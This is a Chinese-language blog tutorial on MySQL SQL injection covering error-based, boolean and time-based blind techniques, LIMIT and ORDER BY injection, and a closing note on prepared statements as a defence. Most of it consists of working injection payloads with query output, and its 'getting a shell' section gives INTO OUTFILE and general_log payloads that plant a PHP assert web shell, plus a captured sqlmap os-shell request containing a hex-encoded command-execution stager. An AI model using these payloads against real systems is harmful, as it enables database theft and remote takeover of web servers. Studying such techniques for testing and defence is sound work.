江鸟's Blog

sql注入浅析

字数统计: 3.4k阅读时长: 14 min
2019/09/11 Share

有关sql注入的简单理解,持续更新

sql注入浅析

报错注入

报错注入比较常见也比较简单,就不多做赘述。可以看看sqlli-labs的前面一些案例就明白了

盲注

盲注基础

在不回显的情况下的注入就是盲注,这时候需要用脚本一个字符一个字符的拆解,过程中需要截取字符串。大牛的盲注基础解析

这里有一些特性可以使用,一般如果if没有过滤的情况下可以直接使用if,比较直白,过滤的情况下可以使用其他判断语句的特性

这是表里面的内容

image-20191218191836876

1. and 0 的短路特性

1
2
3
4
5
mysql> select * from testdata where id = 1 and 1 and sleep(1);
Empty set (2.01 sec)

mysql> select * from testdata where id = 1 and 0 and sleep(1);
Empty set (0.00 sec)

1 和 0 的地方就可以插入我们的判断语句

2. or 1 的短路特性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
mysql> select * from testdata where id = 1 or 0 or sleep(1);
+----+------+-------+
| id | name | pass |
+----+------+-------+
| 1 | adad | afdsf |
| 1 | adad | afdsf |
+----+------+-------+
2 rows in set (2.01 sec)

mysql> select * from testdata where id = 1 or 1 or sleep(1);
+----+--------+----------+
| id | name | pass |
+----+--------+----------+
| 2 | adsads | dfadf |
| 3 | fas | agfsdfas |
| 1 | adad | afdsf |
| 1 | adad | afdsf |
+----+--------+----------+
4 rows in set (0.00 sec)

当检测到 or 1 的时候就不会继续检测,所以sleep就没有执行

除了上面两个我们还能用 case when then else end 这个句型,这个和 if 是类似的

3.elt() 的分流特性

1
ELT(N ,str1 ,str2 ,str3 ,…)

函数使用说明:若 N = 1 ,则返回值为 str1 ,若 N = 2 ,则返回值为 str2 ,以此类推。 若 N 小于 1 或大于参数的数目,则返回值为 NULL 。 ELT() 是 FIELD() 的补数

1
2
3
4
5
6
7
8
9
10
11
mysql> select * from testdata where id = 1 and elt((1>1)+1,1=1,sleep(1));
+----+------+-------+
| id | name | pass |
+----+------+-------+
| 1 | adad | afdsf |
| 1 | adad | afdsf |
+----+------+-------+
2 rows in set (0.01 sec)

mysql> select * from testdata where id = 1 and elt((1=1)+1,1=1,sleep(1));
Empty set (2.01 sec)

4.field() 的分流特性

第四点按照文章测试发现不顶用,但还是放上来

1
FIELD(str, str1, str2, str3, ……)

该函数返回的是 str 在面这些字符串的位置的索引,如果找不到返回 0 ,但我发现这个函数同样可以作为开关来使用,如下:

1
2
3
4
5
6
7
8
9
10
mysql> select * from testdata where id = 2 and field(1>1,sleep(2));
+----+--------+-------+
| id | name | pass |
+----+--------+-------+
| 2 | adsads | dfadf |
+----+--------+-------+
1 row in set (2.00 sec)

mysql> select * from testdata where id = 2 and field(1=1,sleep(2));
Empty set (2.00 sec)

以上是基础

5.between…and注入

select password from users where password between 'a' and'd'

limit注入

在limit语句后面的注入

在LIMIT后面可以跟两个函数,PROCEDURE 和 INTO,INTO除非有写入shell的权限,否则是无法利用的,那么使用PROCEDURE函数能否注入呢? Let’s give it a try:

报错

1
2
3
mysql> SELECT field FROM user WHERE id >0 ORDER BY id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); 

ERROR 1105 (HY000): XPATH syntax error: ':5.5.41-0ubuntu0.14.04.1'

时间注入

1
SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

order by 注入

本文讨论的内容指可控制的位置在order by子句后,如下order参数可控:select * from goods order by $_GET[‘order’]

1.如果有报错信息输出,可尝试通过报错注入完成sql注入攻击

1
2
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
ERROR 1105 (HY000): XPATH syntax error: '~security' //获取当前数据库

2.如果没有回显,可尝试盲注的手法来注入

1
select * from users order by id ^(select(select version()) regexp '^5');

基于时间的盲注

基于时间盲注的思路就是延迟注入,通过语句执行的时间来判断是true还是false,从而去fuzz。

我们常用的方法就是 sleep() 和 benchmark()

在我的表中, id 字段是数字类型,name和pass都是varchar,使用方法也是不同的,但是盲注不需要回显,看看返回时间长短就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
mysql> select * from testdata where name = 1-sleep(1);
Empty set, 4 warnings (4.01 sec)

mysql> select * from testdata where name = sleep(1);
+----+--------+----------+
| id | name | pass |
+----+--------+----------+
| 2 | adsads | dfadf |
| 3 | fas | agfsdfas |
| 1 | adad | afdsf |
| 1 | adad | afdsf |
+----+--------+----------+
4 rows in set, 4 warnings (4.01 sec)
1
2
3
4
5
6
7
8
9
10
mysql> select * from testdata where name =  benchmark(100000000,rand());
+----+--------+----------+
| id | name | pass |
+----+--------+----------+
| 2 | adsads | dfadf |
| 3 | fas | agfsdfas |
| 1 | adad | afdsf |
| 1 | adad | afdsf |
+----+--------+----------+
4 rows in set, 4 warnings (7.59 sec)

只要延迟了时间就是true,注意 sleep 是存在一个满足条件的行就会延迟指定的时间,比如sleep(5),但是实际上查找到两个满足条件的行,那么就会延迟10s,这其实是一个非常重要的信息,在真实的渗透测试过程中,我们有时候不清楚整个表的情况的话,可以用这样的方式进行刺探,比如设置成 sleep(0.001) 看最后多少秒有结果,推断表的行数

1
2
3
4
5
6
7
8
9
10
mysql> select * from testdata where name = sleep(1);
+----+--------+----------+
| id | name | pass |
+----+--------+----------+
| 2 | adsads | dfadf |
| 3 | fas | agfsdfas |
| 1 | adad | afdsf |
| 1 | adad | afdsf |
+----+--------+----------+
4 rows in set, 4 warnings (4.02 sec)

sleep(50000)—->睡眠benchmark(10000000,md5(‘a’))—->测试函数执行速度

Heavy Query 笛卡尔积

这种方式我把它称之为 Heavy Query 中的 “笛卡尔积”,具体的方式就是将简单的表查询不断的叠加,使之以指数倍运算量的速度增长,不断增加系统执行 sql 语句的负荷,直到产生攻击者想要的时间延迟,这就非常的类似于 dos 这个系统,我们可以简单的将这种模式用下面的示意图表示。

此处输入图片的描述

由于每个数据库的数据量差异较大,并且有着自己独特的表与字段,所以为了使用这种方式发起攻击,我们不能依赖于不同数据库的特性而是要依赖于数据库的共性,也就是利用系统自带的表和字段来完成攻击,下面是一个能够在 SQL SERVER 和 MYSQL 中成功执行的模板:

1
SELECT count(*) FROM information_schema.columns A,information_schema.columns B,information_schema.columns C;

image-20191218203109128

除此之外,我们还可以构造我们想要的判断语句,结合我们的 笛卡尔积 实现字段的猜解(当然也不能太 Heavy 了,适可而止,否则可能要注到天荒地老

3.Get_lock() 加锁机制

在单数据库的环境下,如果想防止多个线程操作同一个表(多个线程可能分布在不同的机器上),可以使用这种方式,取表名为key,操作前进行加锁,操作结束之后进行释放,这样在多个线程的时候,即保证了单个表的串行操作,又保证了多个不同表的并行操作。

这种方式注入的思路来源于 pwnhub的一道新题”全宇宙最最简单的PHP博客系统” ,先来看一下 get_lock() 是什么

  • GET_LOCK(key,timeout)

基本语句:

1
2
SELECT GET_LOCK(key, timeout) FROM DUAL;
SELECT RELEASE_LOCK(key) FROM DUAL;

注:

1.这里的 dual 是一个伪表,在 MySQL 中可以直接使用 select 1;这种查询语句,但是在 oracle 中却必须要满足 select 语句的结构,于是就有了这个相当于占位符的伪表,当然在 MYSQL 中也是可以使用的
2.key 这个参数表示的是字段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
mysql> desc testdata;
+-------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+-------------+------+-----+---------+-------+
| id | int(11) | NO | | NULL | |
| name | varchar(10) | NO | | NULL | |
| pass | varchar(10) | NO | | NULL | |
+-------+-------------+------+-----+---------+-------+
3 rows in set (0.00 sec)

对name字段进行加锁
mysql> select get_lock('name',10);
+---------------------+
| get_lock('name',10) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)

打开另一个终端,对同样的字段进行加锁尝试

Database changed
mysql> select get_lock('name',5);
+--------------------+
| get_lock('name',5) |
+--------------------+
| 0 |
+--------------------+
1 row in set (5.00 sec)
可以看到语句没有执行成功返回 0 ,并且由于该字段已经被加锁的原因,这次的执行时间是自定义的 5s 。

现在我们给这个字段解锁:
mysql> select release_lock('name');
+----------------------+
| release_lock('name') |
+----------------------+
| 1 |
+----------------------+
1 row in set (0.00 sec)

此时在另一个终端加锁就能成功
mysql> select get_lock('name',10);
+---------------------+
| get_lock('name',10) |
+---------------------+
| 1 |
+---------------------+
1 row in set (0.00 sec)

如何使用get_lock构造盲注

1
2
3
4
5
6
首先先注入实现加锁
select * from ctf where flag = 1 and get_lock('username',1);

然后构造盲注语句
select * from ctf where flag = 1 and 1 and get_lock('username',5);
select * from ctf where flag = 1 and 0 and get_lock('username',5);

但是get_lock 注入有一个限制条件是必须是持久连接,php使用mysql_connect() 连接数据库后开始查询,然后调用 mysql_close() 关闭与数据库的连接,也就是 web 服务器与数据库服务器连接的生命周期就是整个脚本运行的生命周期,脚本结束连接即断开,但是很明显这里我们要利用的是前一个连接对后一个连接的阻碍作用导致延时,所以这里的连接必须是持久的。

php 手册中对持久连接这样描述

此处输入图片的描述

php 中使用 mysql_pconnect 来创建一个持久的连接,当时这道题使用的也是这个函数来创建的数据库连接

那么什么时候会出现需要我们使用持久连接的情况呢?

php 手册这样解释道

此处输入图片的描述****

正则表达式

Mysql中的正则有三种常用的方式,like、rlike、regexp,其中like是精确匹配,而 rlike 和 regexp 是模糊匹配

(1) like 常用通配符:%_escape

1
2
3
4
5
% : 匹配0个或任意多个字符

_ : 匹配任意一个字符

escape : 转义字符,可匹配%和_。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'

(2) rlike 和 regexp : 常用通配符:.*[]^${n}

1
2
3
4
5
6
7
8
9
10
11
. : 匹配任意单个字符

* : 匹配0个或多个前一个得到的字符

[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。

^ : 匹配开头,如^s匹配以s或者S开头的字符串。

$ : 匹配结尾,如s$匹配以s结尾的字符串。

{n} : 匹配前一个字符反复n次。

拿shell

select … into outfile 介绍

利用需要满足以下条件:

对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
没有配置 –secure-file-priv
姿势:

1
2
3
4
5
6
有 union
id=2) union select 1,2,3,4,5,6,7,'<?php assert($_POST["cmd"]);?>’ into outfile ‘/home/wwwroot/shadowyspirits/evil.php’%23
1
无 union
id=2) into outfile ‘/home/wwwroot/shadowyspirits/evil.php’ fields terminated by ‘<?php assert($_POST["cmd"]);?>’%23
1

general_log

利用需要满足以下条件:

对web目录有写权限
GPC关闭(能使用单引号)
有绝对路径(读文件可以不用,写文件必须)
需要能执行多行sql语句
姿势:

1
2
3
set global general_log='on';
SET global general_log_file='/home/wwwroot/shadowyspirits/evil.php';
SELECT '<?php assert($_POST["cmd"]);?>';

sqlmap –os-shell 原理

用的select … into outfile

主要的http流量有 4 条,第 2 条根据@@version_compile_os首字母判断操作系统,第 4 条开始写入文件

1
2
3
4
5
6
7
1. id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT REPEAT(0x34,1024)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- MBKa&Submit=Submit

2. id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT (CASE WHEN (0x57=UPPER(MID(@@version_compile_os,1,1))) THEN 1 ELSE 0 END)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- EJbF&Submit=Submit

3. id=1' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x717a767671,(SELECT REPEAT(0x31,451)),0x7170716271,0x78))s), 8446744073709551610, 8446744073709551610)))-- LNMk&Submit=Submit

4. id=1' LIMIT 0,1 INTO OUTFILE '/var/www/html/hackable/uploads/tmpujout.php' LINES TERMINATED BY 0x3c3f7068702024633d245f524551554553545b22636d64225d3b407365745f74696d655f6c696d69742830293b4069676e6f72655f757365725f61626f72742831293b40696e695f73657428276d61785f657865637574696f6e5f74696d65272c30293b247a3d40696e695f676574282764697361626c655f66756e6374696f6e7327293b69662821656d70747928247a29297b247a3d707265675f7265706c61636528272f5b2c205d2b2f272c272c272c247a293b247a3d6578706c6f646528272c272c247a293b247a3d61727261795f6d617028277472696d272c247a293b7d656c73657b247a3d617272617928293b7d24633d24632e2220323e26315c6e223b66756e6374696f6e206628246e297b676c6f62616c20247a3b72657475726e2069735f63616c6c61626c6528246e29616e6421696e5f617272617928246e2c247a293b7d69662866282773797374656d2729297b6f625f737461727428293b73797374656d282463293b24773d6f625f6765745f636f6e74656e747328293b6f625f656e645f636c65616e28293b7d656c736569662866282770726f635f6f70656e2729297b24793d70726f635f6f70656e2824632c617272617928617272617928706970652c72292c617272617928706970652c77292c617272617928706970652c7729292c2474293b24773d4e554c4c3b7768696c65282166656f662824745b315d29297b24772e3d66726561642824745b315d2c353132293b7d4070726f635f636c6f7365282479293b7d656c73656966286628277368656c6c5f657865632729297b24773d7368656c6c5f65786563282463293b7d656c736569662866282770617373746872752729297b6f625f737461727428293b7061737374687275282463293b24773d6f625f6765745f636f6e74656e747328293b6f625f656e645f636c65616e28293b7d656c7365696628662827706f70656e2729297b24783d706f70656e2824632c72293b24773d4e554c4c3b69662869735f7265736f7572636528247829297b7768696c65282166656f6628247829297b24772e3d66726561642824782c353132293b7d7d4070636c6f7365282478293b7d656c7365696628662827657865632729297b24773d617272617928293b657865632824632c2477293b24773d6a6f696e28636872283130292c2477292e636872283130293b7d656c73657b24773d303b7d7072696e7420223c7072653e222e24772e223c2f7072653e223b3f3e-- -&Submit=Submit

预编译PreparedStatement

使用预编译,而其后注入的参数将不会再进行SQL编译。也就是说其后注入进来的参数系统将不会认为它会是一条SQL语句,而默认其是一个参数,参数中的or或者and 等就不是SQL语法保留字了。

以mysql数据库举例:通常情况下,在数据库接收到一条普通的
SQL语句后,首先对其进行语义解析,随后对此条SQL
语句进行优化并制定执行计划并执行;当采用预编译操作时,首先将待执行的SQL
语句中的参数值用占位符替代。当带着占位符的SQL
语句模板被数据库编译、解析后,再通过向占位符绑定参数进行查询操作。

反观Sql注入的根源,是在本应该传递参数数据的地方,
传入了精心构造的sql语句。而经过预编译操作之后,无论后续向模板传入什么参数,这些参数仅仅被当成字符串进行查询处理,因此杜绝了sql注入的产生

PDO有两种模式:本地预处理和模拟预处理。

本地预处理则是通过数据库的预编译机制来完成,是真正的预编译机制。

可以看到,默认状态下启用了模拟预处理,整个SQL语句由PHP处理并转义,然后交由MySQL处理。

本地预处理模式。整个步骤分为两步,先将预处理语句发送给MySQL,再发送参数由MySQL插入并执行,整个过程不涉及转义。

CATALOG
  1. 1. sql注入浅析
    1. 1.1. 报错注入
    2. 1.2. 盲注
      1. 1.2.1. 盲注基础
        1. 1.2.1.1. 1. and 0 的短路特性
        2. 1.2.1.2. 2. or 1 的短路特性
        3. 1.2.1.3. 3.elt() 的分流特性
        4. 1.2.1.4. 4.field() 的分流特性
        5. 1.2.1.5. 5.between…and注入
        6. 1.2.1.6. limit注入
        7. 1.2.1.7. order by 注入
      2. 1.2.2. 基于时间的盲注
        1. 1.2.2.1. 我们常用的方法就是 sleep() 和 benchmark()
        2. 1.2.2.2. Heavy Query 笛卡尔积
        3. 1.2.2.3. 3.Get_lock() 加锁机制
        4. 1.2.2.4. 正则表达式
    3. 1.3. 拿shell
      1. 1.3.1. select … into outfile 介绍
      2. 1.3.2. general_log
      3. 1.3.3. sqlmap –os-shell 原理
    4. 1.4. 预编译PreparedStatement